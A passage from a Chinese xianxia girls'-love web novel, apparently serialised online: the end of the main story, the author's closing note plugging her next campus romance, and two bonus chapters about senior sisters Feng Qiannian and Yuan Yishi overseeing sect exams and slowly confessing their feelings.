裴依宁道:“三日吧。” “好哦。” 长时间坐着总是会难受的,云榆起身,将师姐椅子上的人拉起,她从空间储物中取出笔墨纸砚:“师姐,教我练字吧。” 这是云榆第一次主动提出要练字。 本以为从问玉宫回来,云榆很长时间都不会碰这些了。 纸平铺在桌面上,裴依宁在一侧磨墨,云榆拾起毛笔,并不沾墨。 她在温凉的茶杯中舔舐满水液,拎起滴着水珠的笔,点在裴依宁磨墨的手背上。 裴依宁动作一慢,水珠顺着她的手背滑落在砚台中,与墨色的汁水,在几番研墨中混为一体。 云榆笑了笑,等裴依宁磨好墨,她换只新笔:“师姐,我想要你手把手带我。” 当初裴依宁也是这么让她手把手带着舞剑的。 一件件,她都记得清楚。 裴依宁握住她的手,毛笔尖舔舐在墨水中,吸饱后提起,落在纸页上:“你现在的字已经进步很大了。” 能看出笔锋了。 云榆道:“是师姐教的好。” 裴依宁:“星星学得好。” 一字写完,云榆道:“师姐,我想写你的名字。” 纸页上落下裴依宁三个大字。 后面跟着云榆二字。 (正文完) 作者有话说: 好啦,正文到这里就完结啦。 很感谢各位和我一起见证裴师姐和星星的故事。也很庆幸这本以来,你们的陪伴,包容和支持(抱住)后面还会有一些番外,明天开始更新番外 本章掉落小红包 下本写《和青梅的感情日渐奇怪》是本校园文。感兴趣的可以专栏看看哦 裴舒语的手不止可以画画。裴舒语与季颜自幼一同长大,她性格外向,画技高超,总是有许多女生围着她,软语请求一副画像。 这样增进同学情的事情,裴舒语当然不会拒绝。 她给很多人画过,唯独季颜从不向她要什么,只会安静地坐在她身旁,好似什么都无法影响到她学习的心。 这副云淡风轻的态度,让裴舒语总是忍不住撩拨小青梅,缠着季颜给她讲题,给她当模特。 会有意无意地观察季颜的反应,会在季颜不理她时无理取闹。 * 暗恋裴舒语,是季颜说不出口的秘密。 那份爱慕在她的心底野蛮滋生出阴暗的占有欲。 她偏执到想将所有盯着裴舒语的眼珠子挖了,把裴舒语藏起来,锁在自己怀里,让裴舒语只能看着她,和她在一起。 季颜小心翼翼地藏好所有卑劣的欲望,守在裴舒语的身旁看着她受人簇拥,看她来着不拒,独自吞咽着一往情深。 可她已经这样努力地忍耐了,裴舒语身边的人却越来越多。 季颜终于忍不住了,无人的画室里,她贴近裴舒语的背。 “裴同学画不下去,是因为没灵感了吗?” 她用眉眼描摹夜夜扰梦的脸颊,用唇叼住那能画出曼丽的细指,碎语呢喃: “这只手,不止可以作画,还可以做点别的。” “要不要试试,在我这找点灵感。”小剧场: 毕业典礼,裴舒语作为优秀生代表之一,等在后台。 她百无聊懒地看着正在演讲的少女,清风霁月,一副好好学生的模样。 身侧有人推了推她:“听说你和季颜是青梅?” 裴舒语点头,眸光含笑。 何止,多少个午夜里,她们相拥而眠。 错身上台之际,裴舒语笑容意味深长:“小青梅,讲得不错啊。” 第104章 风师姐和原师姐(一)[番外] “风师姐, 我们还要考核几日啊。”焉了吧唧的器物堂小师妹耷拉着脑袋,微微驼着背,半点精气神都没有地趁着原以诗不在,溜到风浅念身边哭诉, “一连考核数日, 整个人都要没气了。” “是啊,风师姐, 能不能缓缓。”另一位师妹接着道。 “风师姐, 你帮我们向原师姐说说呗。” “风师姐,帮帮我们。” “……” 接连数日的考核让她们有些吃不消, 但又不敢直接和原以诗说,只能求助风师姐。 七嘴八舌的挤入风浅念耳中。 风浅念揉揉有些涨疼的头脑, 扫过面前一众找她求情的师妹们,温和道:“原师姐定的考核,我做不了主。” 一开始说话的小师妹问:“那风师姐知道考核结束的日期吗?给我们透透底呗,我现在两眼一睁就是考核,整日提心吊胆的生怕出错。” 风浅念道:“嗯……这个我也不知道, 等会我去问问原师姐?” “不过一炷香后就要开始今日的第二场考核, 你们不提前准备准备吗?”她回眸看了眼空荡荡的殿外, 降低声音, 本就温柔的声线更多了几分软意, “稍后的考核题目可能会与练剑有关哦。” “现在可以想一想炼剑的流程, 以及材料的摆放位置,不要再出现像上一场考核那样, 看错材料的情况了。” 风师姐这是在给她们泄题? 围着她的一众师妹眼睛登时亮了起来, 萎靡的气息一扫而空,精神气恢复了些, 纷纷落座,趁原师姐尚未来到,小声地讨论练剑所需的器物和流程。 风浅念无可奈何地弯下唇,转身正欲到考核殿前替这群不怎么省心的小师妹探探风,顺便拖延点时间。 谁料刚一回头,就见一道纤长飘渺的身影不知何时出现在殿门前,正静静地望着她。 四目相对,风浅念竟生出一丝被抓包的念头。 她捂住唇闷咳几声。 原以诗踏入殿内,原本还在窃窃私语的考核殿瞬间安静到落针可闻。 一众师妹正襟危坐。 “原师姐,”风浅念含着笑地迎上去,“还有一会才考核。” 原以诗似笑非笑地看向她,浅淡的瞳孔似乎能将面前人洞穿。 泄题可不是好事,风浅念头一次做,难免有些心虚,她压下声:“原师姐怎么来得这样早?” 原以诗小幅度地歪过头,不答反问:“不是快要考核了吗?” 风浅念静默一瞬,被自己的明知故问逗笑,她俏皮地眨了下眼:“是呢。” 看着她这般灵动自然的模样,原以诗怔愣住,逃避地躲开与面前人的对视,垂下的手指轻轻勾动下,她低眸,声音不自觉地放缓:“嗯。” 女人绕过她的身边,走到考核殿前。 风浅念几步跟上去,迎着下面一众师妹感激期待的目光,她看了眼不远处快要燃尽的香,清润的嗓音回荡在考核殿内:“第二场考核题目是铸剑,炼制出一柄……” “等一下。”原以诗淡淡地打断她。 殿下一众师妹顷刻间从惊喜转变为不可置信,瞪大的眼睛一瞬不瞬地注视着开口的女人,生怕原师姐要临时更改题目。 风浅念话音一顿,偏头,用眼神示意。 原以诗道:“今早你们风师姐跟我说,这几日考核的频率过高,会让你们压力过大。” 台下的师妹想点头又不敢点头,眼巴巴地将目光放到风浅念身上,一个个眼冒星星。 风浅念唇边的弧度弯下。 想来原师姐是听见她和师妹们的话了。 原以诗继续道:“那么今日第二场考核的题目,便简单一点,只需铸造出一柄铁剑即算通过考核。”她停了下,片刻后,“这场考核是最后一场考核。” “好耶。”下首的师妹们兴高采烈地欢呼起来。 且不说铸造一柄铁剑有多简单,单是最后一场考核就足以让压在她们精神上的一座大山消失得无影无踪。 铸造铁剑是她们入器物堂后的第一场考核,一年多过去,对于这种简单的炼器更是得心应手。 在考核开始后,一个个争先恐后地前往器物殿挑选逐渐的铁矿。 “浅念,”原以诗单手搭在桌案上,勾画册页上考核人的名字,“身为她们的师姐,兼任本次的考核者,泄题可不是个好行为。” 风浅念弯下腰,手肘靠在桌面上,撑着下巴,笑意盈盈:“那原师姐能不能当不知道这件事。” 原以诗勾画的笔顿住,笔尖晕染的墨汁滴落在册页的空白处:“不能,”她一本正经中透着几分严肃,“我要记录下来。” 风浅念:“拿给堂主看吗?” 原以诗被问住,好看的眉头皱在一起。 风浅念不紧不慢地道:“如果拿给堂主看的话,我大约是要被堂主训诫了。” 原以诗下意识反驳:“不会。” 她和风浅念同为器物堂堂主的亲传弟子,自幼便待在堂主身侧,尤其是风浅念,因着比她小许多,性格过于好,小时候常被堂主担心会被人欺负,平日里连一句重话都舍不得说。 怎么会因为这种小事训诫她。 风浅念不置可否,眼角的余光瞥见从器物殿回来的师妹们,轻飘飘的话语随她直起身,钻入原以诗的耳中:“那就当一个小把柄赠送给原师姐吧。” 因着这一句话,这一场考核原以诗都没怎么在状态。面上依旧是毫无表情地注视着下首炼器的师妹,心思却不断翻飞,反复品味风浅念话中的意思。 考核结束,风浅念依次检查数十把炼制的情况,在确定都没出错后,她道:“本次考核自此结束,大家可以回去了。” “终于结束了!” “就说风师姐的话对原师姐有效。” “……” 声音随着师妹们的离去逐渐变小,但风浅念和原以诗耳力何其之好,这些话尽收两人耳中。 好似所有人都知晓原以诗喜欢风浅念,而原以诗也从来没有避讳过这些。 风浅念指尖滑过剑柄,待到声音彻底消失,她将铁剑收好,回到考核殿的台前。 原以诗正在做最后的汇总。 册页上记录着这些时日的考核中,每位师妹出现错漏的地方,薄弱之处在哪。 风浅念:“原师姐,我方才传音给杜师妹了,让她稍后让剑法阁的人过来取这批铁剑。” 正好前段时日剑法阁的人来求取新一批的铁剑以做日常修炼之用。 “灵丹堂的那批炼丹炉炼制的差不多了,等会要去看看吗?”风浅念抽出下方的一般册页,翻过几页,纤长的手指点在其中一行文字上,“这里还有执法堂和阵灵阁所需的器物,这两日应当都能炼制完毕,送过去。” 原以诗“嗯”了声,将方才写的内容放置在桌案边角,整整齐齐地叠放好,她拍拍袖口并不存在的灰尘:“丰师妹她们的炼器水平不用担心,直接送过去即可。 她敏锐地发现指腹沾到的一丝浅灰,眉心皱起,素来的洁癖发作,使用了个净身术,接着道:“执法堂和阵灵阁的,炼制完后让她们自取。” “好。”风浅念应下,望了眼偶尔有人经过的殿外。 她之前答应给执法堂炼制的器物,因着连日的考核,没能有时间炼制完。 拖延不是她的习惯,风浅念打算现在去炼制:“原师姐,我需得去趟炼器殿,若有旁的事,你可随时传音于我。” 原以诗:“好。” 得到回应,风浅念径直出了考核殿,没走两步,手腕被人轻轻握住。 她下意识回头,视线从腕上那只白到病态的手慢慢转向手的主人。 原以诗呼吸急促几分,那张淡然从容的面色出现龟裂,她攥着风浅念的手腕,松松紧紧。 松了怕握不住,紧了又怕抓疼对方,矛盾的犹如她此刻的内心。 那一句她还是没能品味出风浅念内里的意思,所以她选择直接询问说话的人。 原以诗试探性地上前半步,喉咙上下滚动:“浅念,那句赠送我一个小把柄是什么意思?” 风浅念笑着道:“嗯……就是,”她玩笑般,如四月春风一闪即逝,抓不住尾调,“一个小把柄啊,原师姐以为是什么意思呢?” 原以诗一点点松开攥着她的手臂,茫然不解地摇摇头,回想到上次从问玉宫出来后,和风浅念因事经过的那座城池,两人的距离在那里被拉得无限近。 可回到宗门后,那股亲近虽还在,可远不如在宗门外的明显。 在宗门外的风浅念很依赖她。 原以诗敛去眼底的神情,指腹难耐地按在掌心。 风浅念曲指点在原以诗的掌心,上下左右,缓而慢,轻而柔地滑动过,她上半身俯过去:“原师姐,只有你,有我的把柄。” 原以诗神经一怔,猛地抬起头。 风浅念已然收手,后退半步,仿佛方才的那句话并不是她说的一般:“原师姐,还有别的事吗?” 原以诗咽了下:“我今日无事,可以陪你去炼器殿。” 风浅念欣然接受:“好啊。” 炼器殿是器物堂主要的炼器场所,也是器物堂三大主殿之一。殿内分割有大大小小的殿宇,在殿门前标有炼器等级。 风浅念和原以诗分别有单独的一间。 摸出象征着身份的令牌,靠在殿门上靠去,伴随着令牌纹路被灵力覆盖,风浅念收回令牌,推门而入。 原以诗来过这些许多次,甚至比她自己的那间专属炼器室来得还要多。 室内中心架着顶一人高的炼器炉,周围布着一些炼器用的材料。原以诗只是扫一眼便知风浅念要炼制的是何物。 她随口问:“执法堂的映照镜?” 映照镜,顾名思义,即是通过这面镜子即可映照出物体本来的面目,执法堂兼任守护山门的义务,在器物上自是要谨而慎之。 执法堂执法所需的器物皆是最高品阶的,多是出自风浅念等品阶高的炼器师之手。 这种事原以诗很少插手。 风浅念道:“嗯呐,执法堂过段时日要派人去一座城池代为执法,听说城内妖魔喜爱装神弄鬼地吓人,所以让我帮忙炼制几面映照镜,免受妖魔戏耍。” 人,妖,魔三族向来互不侵犯,即使互有敌意也不会发生大规模的争斗。勉强算得上是友好。 以至于部分人族的宗门会一视同仁,接受愿意入宗,且通过考核的妖魔二族族人。 例如明越宗。 云榆是妖族中人,而宗门的唯一亲传弟子则是魔族中人。 是以明越宗内师姐妹们对妖魔二族倒是没有多少偏见。 但本次执法堂派人前往的那座城池位于人,妖,魔交接的地带,种族多了,难免发生利益之争。 原以诗了然,她两指夹起一面光滑的,能清晰反射出镜像的铜物:“炼制几面?” 风浅念道:“执法堂欲派五人前往,便炼制五面。” 一人一面,会轻松许多。 原以诗:“一起吧。” 不等风浅念答话,原以诗拾起几件需要的器物,为放置弄脏了手,她用一层灵力隔绝掌心与这些器物的直接触碰。 风浅念对她这个做法习以为常,这人自她见到的第一面就知晓她有洁癖。 初次见面,那时的风浅念年岁尚小,小小一只,远不及现在的淡定从容。她拉着堂主的手,被带到一处僻静无人的殿宇。 路上,堂主对她说:“今日是你师姐出关的日子,你入宗这么久以来,也该见见了。日后,就由她教导你炼器。” 风浅念听闻过这位师姐的名头,据说她天赋异禀,天资甩器物堂其她人一大截,但比这更为出名的,是这位师姐极其严重的洁癖,性格淡漠疏离,少与人接近。 要与这位传言中的人见面,幼时的风浅念不紧张是假的,她紧紧攥住堂主的手指:“堂主不教我了吗?” 堂主道:“教你,只是你和以诗都是我的亲传弟子,总该见面熟悉熟悉的。她年岁比你大一些,也是一步步走来的,你们之间兴许有更多的话题。教导起来,会更方便。” 但事实证明,她和原以诗的初见并不愉快,这位冷淡漠然的师姐面对同她一样的亲传师妹,如对外人般冷淡。 “你不会自行修炼吗?”这是见面后原以诗对她说的第一句话。弦注服 病态白的面容搭配上拒人的话语,着实让风浅念对这位师姐生不出太多的好感。 但本着对方是自己的师姐,加之对方性情如此,风浅念还是极为友好地唤了声:“原师姐。” 她的声音带着幼童的软糯,听上去怯生生的,那双水灵灵的眼睛内藏着不加掩饰的害怕。 原以诗对她便更没了兴趣,但左右是师尊亲自带来的人,原以诗还是接下了她这块烫手山芋。 “不要随意碰我。”这次她第一次被原以诗指导炼器时,因为不知所措拉住对方的衣袖时,原以诗对她说的一句话。 后来,风浅念看见原以诗背对着自己擦拭那块被她拿过器物后的手拉过,留下一层污渍的袖子。 那时的原以诗五官已经张开,精致的眉头在面对她时没有一刻是松开的。 整日面对原以诗冷冰冰的面色,听着对方冷冰冰的语调,风浅念不是不烦闷的。 但不得不承认,原以诗即使是碍于堂主的命令接下她,却从来没有敷衍过,将所学所知尽数交给她。 她在原以诗身边待了快十年,昔日的小包子已经长得亭亭玉立。 久而久之,她对原以诗便没那么害怕了,对方除了对她冷漠外,其她都是顶顶好。 直到学有所成,风浅念被堂主带回自己身边教导前的最后一次炼器。 在原以诗的帮助下,风浅念成功炼制出高品阶的器物,那时她高兴得忘乎所以,忘记了原以诗性情的淡漠,竟然激动地抱住对方:“原师姐,我成功了。” 原以诗明显僵滞住,一声不吭地将她推开,重复那句:“不要随意碰我。” 一盆冷水劈头盖脸浇下,将她的喜悦尽数熄灭,给了她当头一棒。 自此,长达十年的教导结束,同一日,风浅念回到堂主身边。再与原以诗的见面,她更多了分寸,恭敬地唤对方“师姐”。 因着同宗一脉,她和原以诗即使不日日相处,却也经常被安排外出历练,同炼一物。 过往在脑海中翻过,风浅念视野中晃入原以诗的身影:“浅念,执法堂那边有说什么时候要吗?” 回忆硬生生止住,风浅念道:“只说过段时间去那座城池,没有明确的日期。” 原以诗眼神颤动,下眼睑落下一片阴影,她道:“未明确日期就让你炼制?” 风浅念温声道:“许是这几日灵丹堂考核,她们不想给我压力。” 此言一出,原以诗脸色好了些,倒是没再说什么,反身调动灵力,注入炼器炉内,温度上来后,她将所需器物按照炼化所需的时间逐一放入。 片刻后,风浅念走过去,修长的身形立在原以诗身边,不知从何而起的兴致,她突然伸手攥住了原以诗的衣袖。 没有了记忆中的那句“不要随意碰我”,原以诗反握住她的手,用眼神询问她怎么了。 风浅念弯下唇,摇摇头:“没事,我同你一起。” 她的灵力注入炼器炉内。 炼器炉表面升起橙黄色,映照在原以诗半面面容上,出乎意料的柔和。风浅念定定地望了几秒,无声地笑了下。 因着她的灵力注入,有一瞬间,炼器炉内的两股灵力对撞在一起,炼器炉震动起来,但很快被制止住。 幼时出现过相同的情况,原以诗会冷着一张脸:“在我炼制时,不要随意将灵力注入。” 现在,女人只会将炼器炉加以控制,中和她的灵力一同炼制。 “怎么总是站着,去坐会。看她们考核的时候站着,现在也站着,不累吗?”原以诗灵力牵引过附近的一只椅子到风浅念身后。 风浅念往后退了些,腿后侧触及到椅边:“原师姐,你从前教导过我,炼器是件很严肃的事,一点分心都会造成炉毁人亡。” 原以诗:“那时你还小,总是会分心。”她停顿了下,“几十年前的事,还记的这么清楚。” 风浅念淡笑不语。 有原师姐同她一起炼制,五面映照镜都炼制完毕,风浅念将其一面面分开放,而后给执法堂的人传音,告知她们已炼制完毕,可随时过来取用。 从炼器殿出来,外面已经黑成一片,不知不觉间,她们一同炼制了数个时辰的映照镜。 与星光同行,朦胧的月色平铺在两人之间,风浅念仰头,忙碌一日的疲惫显露出,她捏着鼻梁,闭目揉捏。 “累了?我送你回洞府,早些休息。”原以诗道。 风浅念本想拒绝,就如小时候原以诗时常拒绝她一般。她本不是记仇的性子,可面对原以诗时,时常会想到对方的冷声冷清,而后还回去。 话到了嘴边,她还是咽了下去:“好,麻烦师姐了。” 对于风浅念若即若离,飘忽难捉的态度,原以诗渐渐有所接受,她道:“你我之间,于私于公,都不必说麻烦。” 于公,她和风浅念同属器物堂,是堂主唯二的亲传弟子,于私,她喜欢风浅念。 她不善言谈,路上一如既往的是风浅念找话题,偶尔她能揪出一点,挑出新的话题。 风浅念道:“考核结束了,届时是将她们所犯的问题发下去,让她们自行改正,还是丰师妹她们带着纠正。” 原以诗想了想道:“自行改正,未来说不定还是会犯同样的错误,让丰师妹她们带着改正,效果会好很多。” “堂主快要出关了,”原以诗记起什么,道,“赶在堂主出关前改好就可。” 风浅念不置可否。 若是堂主看见犯下的这些低级错误,说不定又要拉着师妹们各种加练。 更累了。 风浅念心底叹息。 原以诗时刻注意着她:“怎么了?” 风浅念笑:“没什么。” 行至一处洞府前,两人一前一后地停住步伐。 这里便是风浅念的洞府,原以诗的洞府在相反的方向。 风浅念推开门,并不进入:“原师姐,我到了。” 没有邀请她留下,原以诗舌尖点在牙尖上,微微颔首:“嗯,好,明日见。” “明日见。”风浅念道。 原以诗唇扬起些许,转身要走。 “原师姐。”身后人叫住她。 原以诗转回,升起一点希望:“嗯?” 风浅念眨眨眼:“今晚好梦。” 原以诗忽地不想走了,她按住风浅念快要闭合的石门,迎上对方不解的眼神,问出那个久无答案的问题:“浅念,你说会喜欢上我的。” “你什么时候会喜欢上我?” 作者有话说: 原师姐大胆直白:什么时候会喜欢上我? 风师姐:笑而不语 第105章 风师姐和原师姐(二)[番外] 晚风轻浮, 月光撒入原以诗的眼睛,那双棕黑色的瞳孔中漾起细碎的,晶亮的星辰。 她将快要闭合的石门往外推开一点,长腿挡住石门关闭的路线, 清冷的声线在月色的晕染下, 少了几分冷调:“浅念,”她不安地握住拳, “你能告诉我, 会在什么时候喜欢上我吗?” 周围好友皆已结为道侣,她和风浅念相识百年, 如今却只有一点风声。 风浅念的一句“会喜欢上她”宛如一根胡萝卜,在前方吊着她, 让她不断追逐,只能看,无法够到。 她往前一分,似乎要从风浅念的表情中看穿对方的想法,可面前眉目温柔的女人只是微微歪过头与她对视, 随意而慵懒的倚在石门上。 风浅念前所未有的放松, 丝毫没有因为原以诗的疑问扰乱心绪:“原师姐, 这个问题, 我可能给不了你具体的答案。” 什么时候会喜欢上, 这个答案太宽泛了, 一瞬间的心动怎么会那么容易被铺捉。 “原师姐,”她单手抚上原以诗的肩膀, 手肘搭在上面, 多了几分平日里难以窥见的妩媚,细长的手指顺着面前容颜昳丽人的脸部轮廓线点点滑动, “很着急吗?” 她甚少出现这种逗弄人的行为。 在一众师姐妹眼中,她永远谦和有礼,是人人称颂的器物堂二师姐,仿佛没什么能影响到她的情绪。 原以诗怔忪。 然而,面前的女人不待她有所反应,快速收手往后退了几步,侧身让她一条路,恢复到平日的模样。 风浅念:“原师姐,要进来坐会吗?” 肩膀上残留着风浅念方才靠近时留下的气息,如雪一般干净清冽的气息,原以诗侧目看过去,余光只能瞥见小一点。 她看了眼散发着微弱光亮的洞府,又看向侧身邀请她入内的人,片刻后,她抬步入内:“好。” 风浅念失笑。 原以诗压制住略显紊乱的心绪,在擦身而过之际时道:“是不是在想,只是一句客套话,我怎么当真了?” 风浅念反手合上门,带着原以诗往里走,途中她点亮两盏灵珠。 洞府内顷刻亮起。风浅念自空间储物中取出一罐尚未开封的好茶,拎起桌案上的茶壶,笑意直达眼底:“我知道原师姐会进来,所以,那算不得是客套话。” 升腾的热气模糊了风浅念的面容,冲淡了她的话语:“原师姐本就想留在这,不是吗?” 十年的日夜教导,长成后一同的历练,加之她本就心思敏感,怎么会不了解原以诗。 原以诗沉默片刻,“嗯”了声。 煮好的茶倒入杯中,风浅念推过一杯至原以诗手边:“原师姐,尝尝。” 杯中漂浮着一小片细碎的茶叶,在水面上打转,原以诗捏起杯沿,滚烫的热气让她不得不松手。 虎口处被水汽打湿一点。 风浅念温声提醒:“小心烫。” 原以诗托着杯底,露出被水汽蒸红的部位:“已经被烫到了。” 她本就生得极白,久不见光,皮肤上的红意越发明显。 风浅念笑:“那我下次早些提醒。” 原以诗弯弯唇,正欲说话,却见风浅念凭空取出一盒膏药,打开上方的封口,指腹在药膏表面划过,掀起一层透明色。 下一秒,端着的茶杯被风浅念拿下,女人将那只被烫红的手拉到身前,涂上药膏的指腹轻柔地在她虎口处绕圈。 冰冰凉凉,轻轻柔柔的触感让原以诗心跳动不已。 她一瞬不瞬地注视着认真为她涂抹药膏的人。 “再不涂点药,许是要自行恢复了,”涂完药膏,风浅念取出一条手帕将指腹残留的膏体拭去,指尖放在鼻头下嗅闻,苦涩的药香气和留存着的,手帕无法擦拭干净的黏腻着实让她有些受不住,“还疼吗?” 原以诗摇摇头。 风浅念应了声,起身打了盆凉水,双手浸入其中,将药味和黏腻洗去。 她问:“原师姐今晚要留宿在我这吗?” 原以诗这次没有急着回答,她摩挲着温度降下去些的杯身,反问:“你希望我留在这里吗?” 风浅念擦干水渍,坐回原位:“师姐还记得小时候,你最常跟我说的话是什么吗?” 原以诗眯起眼睛,陷入久远的回忆中,近百年的时光已然过去,那时的话,许多她都已经忘得差不多了:“好好炼器?” 风浅念笑:“不是这句。” 原以诗沉思:“等会我教你?” 风浅念依旧摇头:“不是。” 原以诗寻不到:“什么?” 风浅念一字一顿地:“不要随意碰我。” 原以诗眉心皱起:“嗯?” 风浅念若有所思地点点头:“就是这句,初见时师姐就曾对我说过,在你教导我炼制完最后一句器物时,也这般对我说过。” 她难得生出孩子气,好以整暇地望着努力回忆的人:“师姐不记得了吗?” 那时她对于原以诗来说,并不值得过多注意:“可是我一直记得很清楚。”她双肘抵在桌案上,温和的眼底染上笑意,“原师姐,你小时候好凶呐。” 原以诗张张口:“浅念,那时我……” 她说出不来。 风浅念慢悠悠地替她补上未说话的话:“那时原师姐没能想到,日后会喜欢上我,对吗?” 原以诗抿唇,无力地:“是。” 过往的事,风浅念无意追究,这本就不符合她的性子,但逗弄原师姐,看原师姐辩驳不了的模样,极为有意思。 风浅念道:“那我现在能碰原师姐吗?” 原师姐:“可以。” 风浅念笑着伸出手,手指缓而慢地勾动两下。 原以诗犹豫地探过上半身,将下巴搭在女人的掌心:“是这样吗?” 风浅念无可奈何地道:“原师姐,你在哪里学的这些?”先朱傅 她伸手只是想要让原以诗将手搭在她手上,对方怎么就这么乖巧而懵懂地将下巴搭在了她的掌心。 这也太可爱吧。 她挑动指尖,在原以诗的脖颈处挠动:“今晚留下来吧。” 原以诗:“好。” 两人关系亲近到可以同住一间,无论是外出历练还是这个时候,又生疏到需要各盖一条被子,泾渭分明,井水不犯河水。 风浅念和衣而眠:“师姐,好梦。” 原以诗:“好梦。” 洞府内的两盏灵珠熄灭,偌大的洞府顷刻间化为黑茫茫一片,隐约可见物体的轮廓。 原以诗全无睡意,她双手叠放在小腹处,平躺而睡,思索风浅念提及小时候事情的原因。 那时的她的确如风浅念所言,并不是很喜欢这位被堂主送过来的师妹,她本就喜静,爱独自一人,面对堂主丢过来的小包子,只能硬着头皮收下。 日复一日的教导中,她发现这位师妹天赋极佳,比之同岁的她亦是不差,许多东西只需略一提点,便能顿悟。 慢慢的,她逐渐接受了身边多了个人。 心态的变化是从什么时候开始? 原以诗咬住下唇。 约莫是风浅念离开后。 习惯了身边随时跟着一位不言不语的师妹,某一日,这位师妹突然不再跟在她身侧,甚至开始有意回避着她。 那种不习惯占据她的内心。 起初以为过段时间就好了,可当有一次,无意中见到风浅念含笑地与她人说话,却在见到她时,笑意瞬间收敛。 那一刻,一股无名的情绪涌上。 彼时的她分不清自己是何情感,只觉得自己的东西被抢走了,深深的占有欲让她忍不住关注风浅念。 关注风浅念日常的修练,关注风浅念平日的人际往来。 值得庆幸的是,她和风浅念都是堂主的亲传弟子,隔三差五便能见面,还会被堂主指派,一同出宗做任务。 她隐秘的确幸被满足。 再后来,因着风浅念对别人的笑意盈盈与对她的神色平静,原以诗的嫉妒心一点点被点燃。 为什么风浅念不愿意对她笑,为什么风浅念不能把她当成最好的朋友。她们明明一起度过了十年。 后来的一次单独历练,她忍不住问起风浅念这件事,风浅念很奇怪地看了她一眼,片刻后,迟疑地说:“我以为原师姐不喜欢。” 怎么会不喜欢那么温和阳光的笑。 原以诗记得她当时很平静地说:“喜欢。” 因着她的一句“喜欢”,风浅念逐渐开始对她展露笑颜,向对待宗门其她师姐妹一般。 但原以诗还是不满足,她想要更多,更多连她都说不出来的东西。 彼时她还没有喜欢的概念,直到亲眼见到宗门内一位师妹向另一位师妹表白,在遇情石上刻下两人的名姓。 原来那种占有欲和嫉妒心是对风浅念的喜欢。 她在日渐相处中喜欢上了风浅念。 所以会有那种心境的变化,会在风浅念强颜欢笑时心疼,会无意识地护住风浅念,会想要将最好的东西捧到风浅念面前。 恰逢她境界需要稳固。 于是原以诗准备在闭关出来后,向风浅念诉说这份喜欢。但她没能想到,这次的闭关竟然长达二十年。 出关后,宗门新入了许多她陌生的师妹。 但这些都不足以让她关注,她迫切的想要寻找机会和风浅念表白。 当风浅念带她温故器物堂的变化途中,她将对方拉着往隐蔽角落跑去,还没来得及诉说这份心意时,微微喘息着的女人先一步抢在她前面开口。 问她是不是喜欢她。 然后拒绝了她。 她说日后会给她准确的答复。 她说谢谢她的喜欢和偏爱,她很感激。 如今一晃十余年过去。 原以诗闭上眼,如今风浅念的想法是什么,还是说,有什么顾虑。 困意袭来,原以诗昏昏沉沉的睡过去。 第二日一早,原以诗醒来时,风浅念已经不在身侧,她伸手摸去,另一床被子内一片温热。 象征着女人离开不久。 原以诗按住清醒的大脑,起身下床。 “原师姐。”洞府内打开,风浅念携着满身春风入内,“昨晚睡得好吗?” 原以诗:“很好。” 风浅念笑着拆穿她:“原师姐怎么不说实话呢?分明半夜都不曾入睡。” 原以诗看她。 风浅念眉梢微挑起:“我们同住那么多次,你睡着时的呼吸频率我还是知晓的。”她问,“师姐当时在想什么,或许我能为师姐解答一二。” 这些年,她对原以诗越发纵容。 而她也仗着原以诗对她的喜欢,在对方面前露出在外不曾有的一面。 她当然喜欢原以诗,但当确定自己的喜欢后,每每想起小时候对方对自己的冷脸,她总是有种咬牙启齿的意味。 这人当时泼了她那么大一盆冷水,害得她好长一段时间都不敢单独一人炼制高品阶的器物。 原以诗道:“没想什么。” 昨日已经问过风浅念差不多的问题了,得不到的答案,再问就显得不近人情了。 风浅念眉眼如画,猜到她会这般回答,并不意外:“宗主不久前传音,让我们去趟宗主殿堂。” 原以诗应下,洗漱过后,同风浅念一同前往宗主殿堂。 这段时日,明越宗并无大事发生,宗主怎么会突然让她们过去。 御风而行的途中,风浅念道:“宗主传音时的语气不是很好,许是发生了什么大事。” 原以诗:“宗外的事吗?” 风浅念不确定:“不清楚,我方才问了清凡和依宁,她们都收到了宗主的传音。在赶去的路上。” 等她们二人赶到时,白清凡和裴依宁也才刚到,四人进入宗主殿堂。 四人拱手,对着殿首坐上人拱手:“宗主。” 明柏澜扫过一众人,气场不怒自威:“这几日,你们在做什么?” 闻言,风浅念和原以诗对视一眼。 原以诗上前半步:“回宗主的话,这几日器物堂忙于考核,并未过多注意外界。” 白清凡亦是上前:“阵灵阁这几日在挑选新入的弟子,以及对上一批弟子所学进行考核。” 裴依宁最后道:“灵丹堂这些天也在考核……” 说完,四人皆是沉默住。 被叫来的几人,唯一的共同之处,就是考核。 莫不是因为考核。 但这种小事宗主向来不会多管。 风浅念鸦羽般的睫毛颤动,微垂着头,挡去脸上部分神情。 明柏澜重重一拍扶手:“明越宗许久前就明确禁止高强度的考核,你们是把我的话当成耳旁风吗?” 她狠狠压了下眉:“执法堂这几日陆陆续续送上来你们三大峰阁违反的各项记录,你们自行拿下去处理,明日统一给我一个答复。” 原以诗接过几张自上空飘下来的纸页,上面明明确确的记载着器物堂弟子违反的事项。 其中考核在里面算是微乎其微,更多的是别的内容。 明柏澜只挑出考核一点说明,即是因为她们这段时间只顾着新入弟子的考核,而忽略了其她弟子的情况。 原以诗深呼吸一口,按下挤压在心底的火气:“宗主,我们日后会注意。” “回去吧。”明柏澜倒是没怎么为难她们,话语也柔和下许多,“表面的样子总是要做做的,若是不罚你们,岂不是视明越宗法度为无物。” 四人齐齐一拱手:“弟子日后定然注意。” 从宗主殿堂出来,原以诗按住太阳穴,冷笑一声:“执法堂现任负责人是谁?” 裴依宁淡淡道:“杜师妹是其中之一,这事也只有她能做出来了。” 一众人:“……” 白清凡:“下个月剑法阁例行符纸减少一点吧。” 裴依宁:“丹药也可以减少一点。” 风浅念无可奈何地笑:“许是不行,你们的道侣都是剑法阁的人。” 白清凡,裴依宁:“……” 恰在此刻,一道风尘仆仆的身影御剑而来,直直地从半空中掉落下来,踉踉跄跄地来到几人身前。 赫然是杜寻雁。 杜寻雁上来就是一把扯住四人中最好说话的风浅念,一把鼻涕一把泪地哭诉:“风师姐,众位师姐,”她直奔主题,“不是我想要检举你们,我也是没办法啊,执法堂近几年都没拿出点东西,上面人问,我也应付不过去啊。” 她保证:“但各位师姐放心,我选的都不是什么大事。” 风浅念拍拍杜寻雁:“没关系的,杜师妹不必自责。” 杜寻雁:“呜呜呜,谢谢风师姐体谅。” 原以诗冷着一张脸,一把拉住杜寻雁的衣袖,面无表情地将杜寻雁的手从风浅念袖子上拿下。 杜寻雁瑟缩下:“原师姐,风师姐都说没关系了,你总不能还不放过我吧。” 